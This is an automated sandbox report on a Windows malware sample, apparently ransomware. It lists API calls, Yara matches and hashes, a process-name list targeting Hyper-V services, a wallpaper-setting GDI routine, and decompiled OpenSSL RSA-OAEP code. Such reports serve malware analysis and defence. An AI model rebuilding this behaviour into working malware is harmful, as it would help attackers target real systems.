                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • ReadFile.KERNELBASE(000000FF,FFFFFF18,00000000,?,00000000,?,029A35AE,00000000,?,000000E8,?,00000000,FFFFFF18,000000FF,00000002), ref: 029A8384
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: FileRead
                          • String ID:
                          • API String ID: 2738559852-0
                          • Opcode ID: 55799f39f679b481e4a8b22b087db7af2a931d9771ada7b10bbc749b4feab486
                          • Instruction ID: cd3e6e74c874bd78eddf6983683a0b3ed2877a107b28b34ecd160ed1897aec3e
                          • Opcode Fuzzy Hash: 55799f39f679b481e4a8b22b087db7af2a931d9771ada7b10bbc749b4feab486
                          • Instruction Fuzzy Hash: 6CC0013248420DBBCF025F81ED09BAABF2AEB08660F008414FA18184618772A931AB99
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • LoadLibraryA.KERNELBASE(?,?,029A73F5,?), ref: 029A79C1
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: LibraryLoad
                          • String ID:
                          • API String ID: 1029625771-0
                          • Opcode ID: d976dc0a2749332370e838f9662ecc6c11c970b1180dca585eae6eba447c9335
                          • Instruction ID: 34f6364eaff174862d977819b363430b154a755eefd32d309eb9b29ddc31c00d
                          • Opcode Fuzzy Hash: d976dc0a2749332370e838f9662ecc6c11c970b1180dca585eae6eba447c9335
                          • Instruction Fuzzy Hash: 17B0123300430C37490036F9FC1198C7BAFCBC05787000011F51C04111DC23D19006E6
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • RtlFreeHeap.NTDLL(?,00000000,029A387E), ref: 029A5169
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: FreeHeap
                          • String ID:
                          • API String ID: 3298025750-0
                          • Opcode ID: 7bed7d771e01832f7154d4b3d895222619ed698609faeafbcdb7a9c741b7fb26
                          • Instruction ID: eccb48f4ded0ddeac2ca0db737bf70c55e8179347d19aee469589d08f6b7e4c8
                          • Opcode Fuzzy Hash: 7bed7d771e01832f7154d4b3d895222619ed698609faeafbcdb7a9c741b7fb26
                          • Instruction Fuzzy Hash: 30C0923188421CBBCF021F92EC06BA83F69EB00665F408452FE0C480A1D672A970AA94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: LibraryLoad
                          • String ID:
                          • API String ID: 1029625771-0
                          • Opcode ID: 430188c33cc072cc4a4bd69c2eaa497ff8555678ae77d6db79d8394688f1afec
                          • Instruction ID: 31a835f552e28b718c3aff4f15cd32e8c63e3f711db262da9f5049144f34cf78
                          • Opcode Fuzzy Hash: 430188c33cc072cc4a4bd69c2eaa497ff8555678ae77d6db79d8394688f1afec
                          • Instruction Fuzzy Hash: D8317F70A00214AFDB14DFA8C8A69ADFBFABF44704B1404A9D809D7341E775E951CBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Non-executed Functions

                          APIs
                          • GetDC.USER32(00000000), ref: 029A4F03
                          • CreateCompatibleDC.GDI32(00000000), ref: 029A4F18
                          • GetDeviceCaps.GDI32(00000000,00000008), ref: 029A4F2F
                          • GetDeviceCaps.GDI32(00000000,0000000A), ref: 029A4F42
                          • CreateCompatibleBitmap.GDI32(00000000,00000000,00000000), ref: 029A4F4E
                          • SelectObject.GDI32(00000000,00000000), ref: 029A4F61
                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 029A4F6A
                          • MulDiv.KERNEL32(00000012,00000000,00000048), ref: 029A4F75
                          • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000004,00000000,00000000), ref: 029A4F92
                          • SelectObject.GDI32(00000000,00000000), ref: 029A4FA5
                          • SetBkMode.GDI32(00000000,00000001), ref: 029A4FAE
                          • SetTextColor.GDI32(00000000,00FFFFFF), ref: 029A4FBA
                          • GetStockObject.GDI32(00000002), ref: 029A4FC2
                          • FillRect.USER32(00000000,00000000,00000000), ref: 029A4FDF
                          • SetPixel.GDI32(00000000,?,00000000,00000000), ref: 029A5061
                          • DrawTextW.USER32(00000000,000000FF,00000000,00000011,?), ref: 029A50AF
                          • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 029A50D4
                          • DeleteObject.GDI32(?), ref: 029A50E4
                          • DeleteObject.GDI32(?), ref: 029A50ED
                          • DeleteDC.GDI32(00000000), ref: 029A50F4
                          • ReleaseDC.USER32(00000000,00000000), ref: 029A50FE
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Object$CapsCreateDeleteDevice$CompatibleSelectText$BitmapColorDrawFillFontInfoModeParametersPixelRectReleaseStockSystem
                          • String ID:
                          • API String ID: 830383330-0
                          • Opcode ID: 9e563f2c551e7a3b495e182a7a9ec4164be863592359e3a797d675f145b5be8f
                          • Instruction ID: ff9041e19bb0cbd949f452dd73893548ae8a20f931d47426593bfd78e76b59f6
                          • Opcode Fuzzy Hash: 9e563f2c551e7a3b495e182a7a9ec4164be863592359e3a797d675f145b5be8f
                          • Instruction Fuzzy Hash: 1A51D0B1E44315AFEB059FA4DD5AFBE7BB9EF88711F104619F905A62C0DB7059008BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • OpenProcess.KERNEL32(00001000,00000000,?,?,029A62E0,?,00000000,?,029A368A), ref: 029A5366
                          • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,?,029A368A), ref: 029A537F
                          • PathFindFileNameW.SHLWAPI(?,029A368A), ref: 029A5392
                            • Part of subcall function 029A5174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                            • Part of subcall function 029A5174: GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: Process$HeapName$CreateFileFindFullImageOpenPathQuery
                          • String ID: svchost.exe$vmcompute.exe$vmms.exe$vmwp.exe
                          • API String ID: 2112901129-1116827676
                          • Opcode ID: 92e4a6383a344eca01a88103d45bbe397f007f824fd08262e01907bb21369d8a
                          • Instruction ID: 7817154cf4f23d79506f252e2b2734e6d1c3a91b12925be4616b2c55bf4210e6
                          • Opcode Fuzzy Hash: 92e4a6383a344eca01a88103d45bbe397f007f824fd08262e01907bb21369d8a
                          • Instruction Fuzzy Hash: CF11E372F88311FEFA1AA678BC31B7A378CCF85264F55053AFD02D51C0EE9195004AE9
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 30%
                          			E6D4E1810() {
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				signed int _t96;
                          				signed int _t102;
                          				intOrPtr _t112;
                          				signed int _t121;
                          				void* _t123;
                          				void* _t125;
                          				void* _t127;
                          				signed int _t129;
                          				signed char _t150;
                          				signed int _t154;
                          				signed int _t155;
                          				signed int _t163;
                          				void* _t164;
                          				signed int _t167;
                          				signed int _t169;
                          				void* _t170;
                          				signed int _t176;
                          				signed int _t187;
                          				signed int _t189;
                          				signed int _t190;
                          				void* _t192;
                          				signed int _t196;
                          				signed int _t197;
                          				signed int _t201;
                          				void* _t204;
                          				intOrPtr _t208;
                          				signed int _t210;
                          				void* _t211;
                          				void* _t213;
                          				signed int _t218;
                          				void* _t219;
                          				signed int _t224;
                          				signed int _t227;
                          				signed int _t229;
                          				signed int _t230;
                          				void* _t232;
                          
                          				E6D51FEE0(0xb0);
                          				_t96 =  *0x6d57db60; // 0xa6c7de91
                          				 *(_t229 + 0xac) = _t96 ^ _t229;
                          				_t176 =  *(_t229 + 0xd0);
                          				_t169 =  *(_t229 + 0xc4);
                          				 *((intOrPtr*)(_t229 + 0x2c)) =  *((intOrPtr*)(_t229 + 0xb4));
                          				 *((intOrPtr*)(_t229 + 0xc)) =  *((intOrPtr*)(_t229 + 0xc0));
                          				_t227 = 0;
                          				_t218 =  *(_t229 + 0xd0);
                          				 *(_t229 + 0x30) =  *(_t229 + 0xd0);
                          				 *(_t229 + 0x18) = _t169;
                          				 *(_t229 + 0x14) = _t176;
                          				 *((intOrPtr*)(_t229 + 0x28)) = 0;
                          				 *((intOrPtr*)(_t229 + 0x1c)) = 0;
                          				_t208 =  *((intOrPtr*)(_t229 + 0xe4));
                          				if(_t176 == 0) {
                          					_t167 = E6D4CE3B0();
                          					_t176 = _t167;
                          					 *(_t229 + 0x18) = _t167;
                          				}
                          				_t209 =  ==  ? _t176 : _t208;
                          				 *((intOrPtr*)(_t229 + 0x34)) =  ==  ? _t176 : _t208;
                          				_t102 = E6D4C3C60(_t176);
                          				_t230 = _t229 + 4;
                          				_t210 = _t102;
                          				 *(_t230 + 0x28) = _t210;
                          				if( *((intOrPtr*)(_t230 + 0xc8)) <= _t227 || _t169 <= 0) {
                          					__eflags = _t102 | 0xffffffff;
                          				} else {
                          					if(_t218 < _t169 || _t218 < 2 + _t210 * 2) {
                          						L41:
                          						_t220 = _t218 | 0xffffffff;
                          						E6D4C3670(_t169, _t196, _t210, _t269, 4, 0xa1, 0x79, ".\\crypto\\rsa\\rsa_oaep.c", 0xee);
                          						_t230 = _t230 + 0x14;
                          					} else {
                          						_t169 = _t218 - _t210 - 1;
                          						 *(_t230 + 0x1c) = _t169;
                          						_t227 = E6D4C2430(_t169, ".\\crypto\\rsa\\rsa_oaep.c", 0x9b);
                          						_t112 = E6D4C2430(_t218, ".\\crypto\\rsa\\rsa_oaep.c", 0x9c);
                          						_t232 = _t230 + 0x18;
                          						 *((intOrPtr*)(_t232 + 0x20)) = _t112;
                          						if(_t227 == 0 || _t112 == 0) {
                          							E6D4C3670(_t169, _t196, _t210, __eflags, 4, 0xa1, 0x41, ".\\crypto\\rsa\\rsa_oaep.c", 0x9e);
                          							_t230 = _t232 + 0x14;
                          							goto L44;
                          						} else {
                          							E6D51FE40(_t112, 0, _t218);
                          							E6D51F530(_t218 -  *((intOrPtr*)(_t232 + 0x28)) +  *(_t232 + 0x2c),  *((intOrPtr*)(_t232 + 0x24)),  *((intOrPtr*)(_t232 + 0x28)));
                          							_t196 =  *(_t232 + 0x38);
                          							_push( *((intOrPtr*)(_t232 + 0x48)));
                          							_push(_t169);
                          							_t117 =  *_t196 & 0x000000ff;
                          							_t218 = _t196 + 1;
                          							_t30 = _t117 - 1; // -1
                          							_t121 = _t196 + 1 + _t210;
                          							_t182 =  ~(_t30 >> 0x0000001f &  !( *_t196 & 0x000000ff) >> 0x0000001f);
                          							_push(_t121);
                          							 *(_t232 + 0x40) = _t121;
                          							_push(_t210);
                          							_push(_t232 + 0x60);
                          							 *(_t232 + 0x40) =  ~(_t30 >> 0x0000001f &  !( *_t196 & 0x000000ff) >> 0x0000001f);
                          							_t123 = E6D4E1290( ~(_t30 >> 0x0000001f &  !( *_t196 & 0x000000ff) >> 0x0000001f), _t196, _t227);
                          							_t230 = _t232 + 0x2c;
                          							if(_t123 != 0) {
                          								L44:
                          								_t220 = _t218 | 0xffffffff;
                          								__eflags = _t218 | 0xffffffff;
                          							} else {
                          								_t196 = 0;
                          								if(_t210 > 0) {
                          									if(_t210 >= 0x20) {
                          										_t182 = _t230 + _t210 + 0x3b;
                          										_t169 =  *(_t230 + 0x10);
                          										if(_t230 + 0x3c > _t218 - 1 + _t210 || _t182 < _t218) {
                          											_t163 = _t210 & 0x8000001f;
                          											if(_t163 < 0) {
                          												_t163 = (_t163 - 0x00000001 | 0xffffffe0) + 1;
                          											}
                          											_t182 = _t210 - _t163;
                          											_t164 = _t230 + 0x3c;
                          											 *((intOrPtr*)(_t230 + 0x24)) = _t218 - _t164;
                          											_t210 =  *(_t230 + 0x28);
                          											do {
                          												asm("movdqu xmm0, [eax]");
                          												_t164 = _t164 + 0x20;
                          												asm("movdqu xmm1, [ebx+eax-0x20]");
                          												asm("pxor xmm1, xmm0");
                          												asm("movdqu [eax-0x20], xmm1");
                          												asm("movdqu xmm1, [esi+edx+0x10]");
                          												_t196 = _t196 + 0x20;
                          												asm("movdqu xmm0, [eax-0x10]");
                          												asm("pxor xmm1, xmm0");
                          												asm("movdqu [eax-0x10], xmm1");
                          											} while (_t196 < _t182);
                          											_t169 =  *(_t230 + 0x10);
                          										}
                          									}
                          									if(_t196 < _t210) {
                          										_t218 = _t218 - _t230 + 0x3c;
                          										do {
                          											_t182 = _t230 + 0x3c + _t196;
                          											_t196 = _t196 + 1;
                          											 *_t182 =  *_t182 ^  *(_t218 + _t182);
                          										} while (_t196 < _t210);
                          									}
                          								}
                          								_push( *((intOrPtr*)(_t230 + 0x30)));
                          								_push(_t210);
                          								_push(_t230 + 0x40);
                          								_push(_t169);
                          								_push(_t227);
                          								_t125 = E6D4E1290(_t182, _t196, _t227);
                          								_t230 = _t230 + 0x14;
                          								if(_t125 != 0) {
                          									goto L44;
                          								} else {
                          									_t218 = 0;
                          									if(_t169 > 0) {
                          										if(_t169 >= 0x20) {
                          											_t182 =  *(_t230 + 0x1c);
                          											_t52 = _t227 - 1; // -1
                          											_t196 = _t52 + _t169;
                          											if(_t227 > _t182 - 1 + _t169 || _t196 < _t182) {
                          												_t154 = _t169 & 0x8000001f;
                          												if(_t154 < 0) {
                          													_t154 = (_t154 - 0x00000001 | 0xffffffe0) + 1;
                          												}
                          												 *(_t230 + 0x10) = _t182;
                          												 *(_t230 + 0x10) =  *(_t230 + 0x10) - _t227;
                          												_t196 = _t169 - _t154;
                          												_t155 = _t227;
                          												 *((intOrPtr*)(_t230 + 0x24)) = _t182 + 0x10;
                          												_t182 =  *(_t230 + 0x10);
                          												do {
                          													asm("movdqu xmm0, [eax]");
                          													_t155 = _t155 + 0x20;
                          													asm("movdqu xmm1, [ecx+eax-0x20]");
                          													asm("pxor xmm1, xmm0");
                          													asm("movdqu [eax-0x20], xmm1");
                          													asm("movdqu xmm1, [edi+esi]");
                          													_t218 = _t218 + 0x20;
                          													asm("movdqu xmm0, [eax-0x10]");
                          													asm("pxor xmm1, xmm0");
                          													asm("movdqu [eax-0x10], xmm1");
                          												} while (_t218 < _t196);
                          												_t210 =  *(_t230 + 0x28);
                          											}
                          										}
                          										if(_t218 < _t169) {
                          											_t192 = _t218 + _t227;
                          											_t213 =  *(_t230 + 0x1c) - _t227;
                          											_t204 = _t169 - _t218;
                          											do {
                          												_t150 =  *((intOrPtr*)(_t192 + _t213));
                          												_t192 = _t192 + 1;
                          												 *(_t192 - 1) =  *(_t192 - 1) ^ _t150;
                          												_t204 = _t204 - 1;
                          												_t264 = _t204;
                          											} while (_t204 != 0);
                          											_t210 =  *(_t230 + 0x28);
                          										}
                          									}
                          									_push(0);
                          									_push( *(_t230 + 0x1c));
                          									_push(0);
                          									_push(_t230 + 0x84);
                          									_push( *((intOrPtr*)(_t230 + 0xec)));
                          									_push( *((intOrPtr*)(_t230 + 0x48)));
                          									_t127 = E6D4CDD10(_t169, _t182, _t196, _t210, _t227, _t264);
                          									_t230 = _t230 + 0x18;
                          									if(_t127 == 0) {
                          										goto L44;
                          									} else {
                          										_t129 = E6D4C28B0(_t227, _t230 + 0x80, _t210);
                          										_t197 =  *(_t230 + 0x20);
                          										_t230 = _t230 + 0xc;
                          										_t75 = _t129 - 1; // -1
                          										_t196 = _t197 &  ~(_t75 >> 0x0000001f &  !_t129 >> 0x0000001f);
                          										_t187 = 0;
                          										 *(_t230 + 0x14) = _t196;
                          										 *(_t230 + 0x18) = 0;
                          										while(_t210 < _t169) {
                          											_t224 =  *(_t210 + _t227) & 0x000000ff;
                          											_t79 = (_t224 ^ 0x00000001) - 1; // -1
                          											_t201 =  ~(_t79 >> 0x0000001f &  !(_t224 ^ 0x00000001) >> 0x0000001f);
                          											_t189 =  !_t187 & _t201;
                          											_t190 = _t189 & _t210;
                          											_t210 = _t210 + 1;
                          											 *(_t230 + 0x2c) =  !_t189 &  *(_t230 + 0x2c) | _t190;
                          											_t187 =  *(_t230 + 0x18) | _t201;
                          											_t84 = _t224 - 1; // -1
                          											_t218 =  !_t224 >> 0x1f;
                          											 *(_t230 + 0x18) = _t187;
                          											_t196 =  *(_t230 + 0x14) & ( ~(_t84 >> 0x0000001f & _t218) | _t187);
                          											 *(_t230 + 0x14) = _t196;
                          										}
                          										if((_t196 & _t187) == 0) {
                          											goto L41;
                          										} else {
                          											_t133 =  *(_t230 + 0x2c) + 1;
                          											_t220 = _t169 -  *(_t230 + 0x2c) + 1;
                          											_t269 =  *((intOrPtr*)(_t230 + 0xc8)) - _t220;
                          											if( *((intOrPtr*)(_t230 + 0xc8)) >= _t220) {
                          												E6D51F530( *((intOrPtr*)(_t230 + 0x40)), _t133 + _t227, _t220);
                          												_t230 = _t230 + 0xc;
                          											} else {
                          												E6D4C3670(_t169, _t196, _t210, _t269, 4, 0xa1, 0x6d, ".\\crypto\\rsa\\rsa_oaep.c", 0xe1);
                          												_t230 = _t230 + 0x14;
                          												goto L41;
                          											}
                          										}
                          									}
                          								}
                          							}
                          						}
                          					}
                          					if(_t227 != 0) {
                          						E6D4C23B0(_t227);
                          						_t230 = _t230 + 4;
                          					}
                          					_t106 =  *(_t230 + 0x20);
                          					if( *(_t230 + 0x20) != 0) {
                          						E6D4C23B0(_t106);
                          						_t230 = _t230 + 4;
                          					}
                          				}
                          				_pop(_t211);
                          				_pop(_t219);
                          				_pop(_t170);
                          				return E6D51FED0(_t170,  *(_t230 + 0xbc) ^ _t230, _t196, _t211, _t219);
                          			}










































                          0x6d4e1815
                          0x6d4e181a
                          0x6d4e1821
                          0x6d4e182f
                          0x6d4e1837
                          0x6d4e183e
                          0x6d4e184a
                          0x6d4e184e
                          0x6d4e1858
                          0x6d4e185f
                          0x6d4e1865
                          0x6d4e1869
                          0x6d4e186d
                          0x6d4e1875
                          0x6d4e187a
                          0x6d4e1883
                          0x6d4e1885
                          0x6d4e188a
                          0x6d4e188c
                          0x6d4e188c
                          0x6d4e1893
                          0x6d4e1896
                          0x6d4e189a
                          0x6d4e189f
                          0x6d4e18a2
                          0x6d4e18a4
                          0x6d4e18af
                          0x6d4e1c3e
                          0x6d4e18bd
                          0x6d4e18bf
                          0x6d4e1bcc
                          0x6d4e1bdf
                          0x6d4e1be2
                          0x6d4e1be7
                          0x6d4e18d4
                          0x6d4e18dd
                          0x6d4e18e4
                          0x6d4e18f8
                          0x6d4e18fa
                          0x6d4e18ff
                          0x6d4e1902
                          0x6d4e1908
                          0x6d4e1c11
                          0x6d4e1c16
                          0x00000000
                          0x6d4e1916
                          0x6d4e191a
                          0x6d4e192f
                          0x6d4e1934
                          0x6d4e1938
                          0x6d4e193c
                          0x6d4e193d
                          0x6d4e1940
                          0x6d4e1943
                          0x6d4e1953
                          0x6d4e1955
                          0x6d4e1957
                          0x6d4e1958
                          0x6d4e1960
                          0x6d4e1961
                          0x6d4e1962
                          0x6d4e1966
                          0x6d4e196b
                          0x6d4e1970
                          0x6d4e1c19
                          0x6d4e1c19
                          0x6d4e1c19
                          0x6d4e1976
                          0x6d4e1976
                          0x6d4e197a
                          0x6d4e1983
                          0x6d4e1994
                          0x6d4e1998
                          0x6d4e199c
                          0x6d4e19a4
                          0x6d4e19a9
                          0x6d4e19af
                          0x6d4e19af
                          0x6d4e19b4
                          0x6d4e19b6
                          0x6d4e19be
                          0x6d4e19c2
                          0x6d4e19d0
                          0x6d4e19d0
                          0x6d4e19d4
                          0x6d4e19d7
                          0x6d4e19dd
                          0x6d4e19e1
                          0x6d4e19e6
                          0x6d4e19ec
                          0x6d4e19ef
                          0x6d4e19f4
                          0x6d4e19f8
                          0x6d4e19fd
                          0x6d4e1a01
                          0x6d4e1a01
                          0x6d4e199c
                          0x6d4e1a07
                          0x6d4e1a0d
                          0x6d4e1a10
                          0x6d4e1a14
                          0x6d4e1a16
                          0x6d4e1a1a
                          0x6d4e1a1c
                          0x6d4e1a10
                          0x6d4e1a07
                          0x6d4e1a20
                          0x6d4e1a28
                          0x6d4e1a29
                          0x6d4e1a2a
                          0x6d4e1a2b
                          0x6d4e1a2c
                          0x6d4e1a31
                          0x6d4e1a36
                          0x00000000
                          0x6d4e1a3c
                          0x6d4e1a3c
                          0x6d4e1a40
                          0x6d4e1a49
                          0x6d4e1a4f
                          0x6d4e1a53
                          0x6d4e1a56
                          0x6d4e1a5f
                          0x6d4e1a67
                          0x6d4e1a6c
                          0x6d4e1a72
                          0x6d4e1a72
                          0x6d4e1a73
                          0x6d4e1a79
                          0x6d4e1a7d
                          0x6d4e1a82
                          0x6d4e1a84
                          0x6d4e1a88
                          0x6d4e1a90
                          0x6d4e1a90
                          0x6d4e1a94
                          0x6d4e1a97
                          0x6d4e1a9d
                          0x6d4e1aa1
                          0x6d4e1aa6
                          0x6d4e1aab
                          0x6d4e1aae
                          0x6d4e1ab3
                          0x6d4e1ab7
                          0x6d4e1abc
                          0x6d4e1ac0
                          0x6d4e1ac0
                          0x6d4e1a5f
                          0x6d4e1ac6
                          0x6d4e1acc
                          0x6d4e1ad1
                          0x6d4e1ad3
                          0x6d4e1ad5
                          0x6d4e1ad5
                          0x6d4e1ad8
                          0x6d4e1adb
                          0x6d4e1ade
                          0x6d4e1ade
                          0x6d4e1ade
                          0x6d4e1ae1
                          0x6d4e1ae1
                          0x6d4e1ac6
                          0x6d4e1ae5
                          0x6d4e1ae7
                          0x6d4e1af2
                          0x6d4e1af4
                          0x6d4e1af5
                          0x6d4e1afc
                          0x6d4e1b00
                          0x6d4e1b05
                          0x6d4e1b0a
                          0x00000000
                          0x6d4e1b10
                          0x6d4e1b1a
                          0x6d4e1b1f
                          0x6d4e1b23
                          0x6d4e1b26
                          0x6d4e1b35
                          0x6d4e1b37
                          0x6d4e1b39
                          0x6d4e1b3d
                          0x6d4e1b43
                          0x6d4e1b45
                          0x6d4e1b50
                          0x6d4e1b5d
                          0x6d4e1b5f
                          0x6d4e1b63
                          0x6d4e1b67
                          0x6d4e1b72
                          0x6d4e1b76
                          0x6d4e1b7c
                          0x6d4e1b84
                          0x6d4e1b89
                          0x6d4e1b91
                          0x6d4e1b93
                          0x6d4e1b97
                          0x6d4e1b9d
                          0x00000000
                          0x6d4e1b9f
                          0x6d4e1ba5
                          0x6d4e1ba6
                          0x6d4e1ba8
                          0x6d4e1baf
                          0x6d4e1bf4
                          0x6d4e1bf9
                          0x6d4e1bb1
                          0x6d4e1bc4
                          0x6d4e1bc9
                          0x00000000
                          0x6d4e1bc9
                          0x6d4e1baf
                          0x6d4e1b9d
                          0x6d4e1b0a
                          0x6d4e1a36
                          0x6d4e1970
                          0x6d4e1908
                          0x6d4e1c1e
                          0x6d4e1c21
                          0x6d4e1c26
                          0x6d4e1c26
                          0x6d4e1c29
                          0x6d4e1c2f
                          0x6d4e1c32
                          0x6d4e1c37
                          0x6d4e1c37
                          0x6d4e1c3a
                          0x6d4e1c48
                          0x6d4e1c49
                          0x6d4e1c4b
                          0x6d4e1c59

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memmove$_memset
                          • String ID: .\crypto\rsa\rsa_oaep.c
                          • API String ID: 1357608183-3887057465
                          • Opcode ID: c6a233f3833caffd22ed20593125e7aab9370726b5e4139727e42f33186eaec3
                          • Instruction ID: fb46cd290a2e340c5bcce142402323c157a53129badd3bbd2e05e7736c04ff7e
                          • Opcode Fuzzy Hash: c6a233f3833caffd22ed20593125e7aab9370726b5e4139727e42f33186eaec3
                          • Instruction Fuzzy Hash: A6C1E472A487465BD710CF28C880F6FB7E5AFC8349F054A2DF689D7242EB71D9058B92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 26%
                          			E6D4E1440(intOrPtr __edx) {
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				signed int _t83;
                          				void* _t89;
                          				char* _t91;
                          				signed int _t92;
                          				signed int _t105;
                          				signed int _t107;
                          				signed int _t110;
                          				signed char _t114;
                          				signed int _t117;
                          				intOrPtr _t118;
                          				signed char _t122;
                          				signed int _t126;
                          				intOrPtr _t127;
                          				intOrPtr _t139;
                          				intOrPtr _t141;
                          				intOrPtr _t143;
                          				void* _t144;
                          				void* _t145;
                          				void* _t146;
                          				intOrPtr _t147;
                          				void* _t149;
                          				void* _t150;
                          				void* _t151;
                          				intOrPtr _t152;
                          				intOrPtr _t154;
                          				void* _t161;
                          				void* _t163;
                          				void* _t165;
                          				void* _t166;
                          				intOrPtr _t175;
                          				void* _t176;
                          				signed int _t178;
                          				void* _t182;
                          				void* _t183;
                          				signed int _t184;
                          				void* _t185;
                          				void* _t187;
                          				void* _t190;
                          				void* _t191;
                          				void* _t192;
                          				signed int _t194;
                          				void* _t195;
                          				void* _t196;
                          				signed int _t197;
                          				void* _t201;
                          				void* _t202;
                          				void* _t203;
                          				intOrPtr _t205;
                          				intOrPtr _t207;
                          				signed int _t209;
                          				signed int _t212;
                          				void* _t213;
                          				signed int _t218;
                          				void* _t219;
                          				signed int _t220;
                          				void* _t222;
                          				void* _t223;
                          
                          				_t175 = __edx;
                          				E6D51FEE0(0x68);
                          				_t83 =  *0x6d57db60; // 0xa6c7de91
                          				 *(_t218 + 0x64) = _t83 ^ _t218;
                          				_t152 =  *((intOrPtr*)(_t218 + 0x84));
                          				_t141 =  *((intOrPtr*)(_t218 + 0x7c));
                          				_t205 =  *((intOrPtr*)(_t218 + 0x90));
                          				 *((intOrPtr*)(_t218 + 0x14)) =  *((intOrPtr*)(_t218 + 0x6c));
                          				_t182 =  *((intOrPtr*)(_t218 + 0x80)) - 1;
                          				 *((intOrPtr*)(_t218 + 0x24)) =  *((intOrPtr*)(_t218 + 0x84));
                          				 *((intOrPtr*)(_t218 + 0x2c)) = _t141;
                          				 *((intOrPtr*)(_t218 + 0x30)) =  *((intOrPtr*)(_t218 + 0x8c));
                          				 *((intOrPtr*)(_t218 + 0x10)) = _t152;
                          				if(_t152 == 0) {
                          					_t139 = E6D4CE3B0();
                          					_t152 = _t139;
                          					 *((intOrPtr*)(_t218 + 0x10)) = _t139;
                          				}
                          				_t206 =  ==  ? _t152 : _t205;
                          				 *((intOrPtr*)(_t218 + 0x2c)) =  ==  ? _t152 : _t205;
                          				_t194 = E6D4C3C60(_t152);
                          				_t219 = _t218 + 4;
                          				 *(_t219 + 0x18) = _t194;
                          				_t89 = _t194 + _t194;
                          				_t154 = _t182 - _t89;
                          				 *((intOrPtr*)(_t219 + 0x20)) = _t154;
                          				_t155 = _t154 - 1;
                          				_t234 = _t141 - _t154 - 1;
                          				if(_t141 <= _t154 - 1) {
                          					__eflags = _t182 - _t89 + 1;
                          					if(__eflags >= 0) {
                          						_t91 =  *(_t219 + 0x14);
                          						_push(0);
                          						_push( *(_t219 + 0x14));
                          						 *_t91 = 0;
                          						_push(0);
                          						_t143 = _t91 + 1 + _t194;
                          						_t207 = _t91 + 1;
                          						_push(_t143);
                          						_push( *((intOrPtr*)(_t219 + 0xa0)));
                          						 *((intOrPtr*)(_t219 + 0x28)) = _t207;
                          						_push( *((intOrPtr*)(_t219 + 0x44)));
                          						 *((intOrPtr*)(_t219 + 0x34)) = _t143;
                          						_t92 = E6D4CDD10(_t143, _t155, _t175, _t182, _t207, __eflags);
                          						_t220 = _t219 + 0x18;
                          						__eflags = _t92;
                          						if(_t92 == 0) {
                          							L39:
                          							_pop(_t183);
                          							_pop(_t195);
                          							_pop(_t144);
                          							__eflags =  *(_t220 + 0x74) ^ _t220;
                          							return E6D51FED0(_t144,  *(_t220 + 0x74) ^ _t220, _t175, _t183, _t195);
                          						} else {
                          							E6D51FE40(_t143 + _t194, 0,  *(_t220 + 0x20) -  *((intOrPtr*)(_t220 + 0x2c)) - 1);
                          							_t158 =  *((intOrPtr*)(_t220 + 0x38));
                          							 *((char*)(_t143 -  *((intOrPtr*)(_t220 + 0x38)) - _t194 + _t182 - 1)) = 1;
                          							E6D51F530(_t143 -  *((intOrPtr*)(_t220 + 0x38)) - _t194 + _t182,  *((intOrPtr*)(_t220 + 0x34)),  *((intOrPtr*)(_t220 + 0x38)));
                          							_push(_t194);
                          							_push(_t207);
                          							_t105 = E6D4C3D10(_t182);
                          							_t220 = _t220 + 0x20;
                          							__eflags = _t105;
                          							if(_t105 <= 0) {
                          								goto L39;
                          							} else {
                          								_t184 = _t182 - _t194;
